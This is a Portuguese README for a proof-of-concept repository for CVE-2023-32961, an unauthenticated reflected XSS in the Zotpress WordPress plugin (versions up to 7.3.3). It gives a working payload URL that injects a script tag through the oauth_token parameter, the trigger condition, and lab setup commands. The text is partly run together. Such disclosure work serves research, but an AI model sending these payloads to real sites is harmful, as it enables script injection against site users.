
PoC de CVE-2023-32961
Este repositório é sobre vulnerabilidade XSS no plugin Zotpress do Wordpress.
Zotpress
≤ 7.3.3
zotpress
https://wordpress.org/plugins/zotpress/
Não autenticado
A função get_request_token em zotpress/lib/admin/admin.accounts.oauth.php é vulnerável a um ataque XSS.
get_request_token seja executada. (apenas na primeira vez)
Envie um payload como este: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>Você precisa de uma conta no zotero.org.
Você precisa definir o valor de oauthState como 1 para acioná-lo. Se o payload acima não funcionar, você precisa encontrar uma maneira de definir oauthState como 1.
expressão condicional:
$_GET['oauth_token'] != $state['request_token_info']['oauth_token']
Instalação fácil da extensão php oauth:
Comando de uma linha:
sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
Testado na imagem Docker wordpress:latest.
https://www.youtube.com/watch?v=5kZ7bNbs_-Q